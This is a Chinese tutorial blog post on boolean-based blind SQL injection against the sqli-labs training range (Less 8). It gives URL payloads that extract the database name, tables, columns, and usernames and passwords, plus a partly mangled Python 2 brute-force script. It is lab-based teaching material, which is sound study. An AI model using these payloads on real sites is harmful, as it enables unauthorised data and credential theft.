SQL注入学习——Bool盲注详解 sqli-labs(Less 8)
文章目录
- 前言:
- 一、Bool盲注常用的函数:
- 二、Less8 布尔型单引号GET盲注
- 1、查数据库版本
- 2、猜解数据库的长度
- 3、猜数据库名字
- 4、猜解表名
- 5、猜解字段名
- 6、猜解数据
- 三、脚本注入:
前言:
今天来总结下SQL注入的 Bool 盲注,通过 sqli-labs 靶场练习。
一、Bool盲注常用的函数:
database() 显示数据库名称 left(a,b) 从左侧截取a的前b位 substr(a,b,c) 从b位置开始,截取字符串a的c长度 mid(a,b,c) 从位置b开始,截取a字符串的c位 length() 返回字符串的长度 Ascii() 将某个字符转换为ascii值 char() 将ASCII码转换为对应的字符ok,知道了这些就去实战试试吧。
二、Less8 布尔型单引号GET盲注
补充:本关也可以用时间盲注,报错注入是不行的,因为报错信息被注释了。
输入?id=1,页面正常,但还是没有显示信息。
加单引号
页面无回显,应该是报错了,继续输入?id=1 and 1=2
页面没有变化,说明不是数字型,输入?id=1 and 1=2 --+
页面发生变化(没有报错,只是查不出数据,和上面的无回显不一样),说明是单引号闭合的字符型注入。
知道了这些,下面就可以开始正式的 Bool 注入了。
1、查数据库版本
利用 left(database(),1)进行尝试
127.0.0.1/sqli-labs-master/Less-8?id=1' and left(version(),1)=5 %23这里数据库的版本为 5.6.17,上面的语句是看版本号的第一位是不是 5,如果回显正常,那么说明第一位就是5
这里显然回显正常,剩余的慢慢测,一般都是使用脚本。
2、猜解数据库的长度
127.0.0.1/sqli-labs-master/Less-8?id=1' and length(database())=8 %23
数据库长度为 8 时,页面回显正常。这里说明下,长度要一个一个的试,这里只是验证下,在要爆信息不多的情况下可以手动试试(二分法可以提高很多效率),太多的话就建议用脚本,或者用burp 爆破。
3、猜数据库名字
首先猜测数据库第一位,这里使用了 left 函数
left(a,b):返回a字符串从左至b位数,详细看下面用法。
127.0.0.1/sqli-labs-master/Less-8?id=1'and left(database(),1)>'a'--+
数据库我们知道是 security,所以我们看他的第一位是否 大于 a,很明显 s 大于 a 的,因此回显正常。当我们不知情的情况下,可以用二分法来提高注入的效率。
测得第一位为 s,我们看前两位是否大于 sa,继续猜测第二位:
127.0.0.1/sqli-labs-master/Less-8?id=1'and left(database(),2)>'sa'--+
然后第三位,第四位…(很麻烦)。
这里还可以构造这样的命令猜解数据库第一位 :
127.0.0.1/sqli-labs-master/Less-8?id=1' and ascii(substr((database()),1,1)) >80--+第二位:
127.0.0.1/sqli-labs-master/Less-8 ?id=1' and ascii(substr((database()),2,1)) >80--+…
最终我们可以确定数据库的全名是security,接下来我们判断表名。
4、猜解表名
语句:
?id=1' and left((select table_name from information_schema.tables where table_schema=database() limit x,1),y)=""--+通过变换 x 和 y 的值我们可以得到所有的表名。
注:security里有四张表,limit 3,1 即第四张表 users
接下来判断所有的users中的字段名。
5、猜解字段名
语句:
?id=1' and left((select column_name from information_schema.columns where table_schema=database() and table_name="users" limit x,1),y)=""--+通过变换 x 和 y 的值可以得到 username 和 password 这两个字段名
接下来就是爆数据了 。
6、猜解数据
用户名:
?id=1' and left((select username from users limit x,1),y)=""--+通过变换x,y的值可以得到所有的用户名 。
密码:
?id=1' and left((select password from users limit x,1),y)=""--+通过变换 x,y 的值可以得到所有的密码 。
布尔盲注的手工注入很是繁琐,推荐使用 sqlmap 或 脚本,下面分享一个脚本。
三、脚本注入:
爆数据库 :
# -*- coding:utf8 -*- import requests url = 'http://localhost/sqli-labs-master/sqli-labs-master/Less-8/?id=1%27' # 这个url要对应你自己的url payload = " and%20left({d}(),{n})=%27{s}%27%20--%20k" # 上面两个可以合并为一个,但没有必要,(本来就是我拆开的) list1 = ['a', 'b', 'c', 'd', 'e', 'f', 'g', 'h', 'i', 'j', 'k', 'l', 'm', 'n', 'o', 'p', 'q', 'r', 's', 't', 'u', 'v','w', 'x', 'y', 'z', '@', '1', '2', '3', '4', '5', '6', '7', '8', '9', '0'] # 字典 str1 = "You are in..........." # 就是通过返回的页面里有没有这个字符串来判断盲注有没有成功 # 开始对比database() database = '' for i in range(1, 10): # 相当于C语言的for循环1~9 其实这里应该先判断database有多长的for ss in list1: # 相当于for循环遍历list,然后把每一项赋值给ssp = payload.format(d='database', n=i, s=database+ss) # 把payload里的{d},{n},{s}赋值u = requests.get(url+p) # 访问网页# print pif str1 in u.content: # 如果str在网页内容里面database += ssprint u"正在对比database第", i, u"个字符",print databasebreak print u"对比成功,database为:", database # 开始对比user()#user也是同理 user = '' for i in range(1, 20):for ss in list1:p = payload.format(d='user', n=i, s=user+ss)u = requests.get(url+p)# print pif str in u.content:user += ssprint u"正在对比user第", i, u"个字符",print userbreak print u"对比成功,user为:", user print u"database-->", database print u"user-->", user a = raw_input()爆破成功
接下来爆表
然后盲注users的字段名:
最后就是查看数据了
🆗,关于Bool盲注的总结暂时就这么多了。
总结
以上是生活随笔为你收集整理的SQL注入学习——Bool盲注详解 sqli-labs(Less 8)的全部内容,希望文章能够帮你解决所遇到的问题。
- 上一篇: SQL注入学习——sqli-labs闯关
- 下一篇: SQL注入学习——时间盲注详解 sqli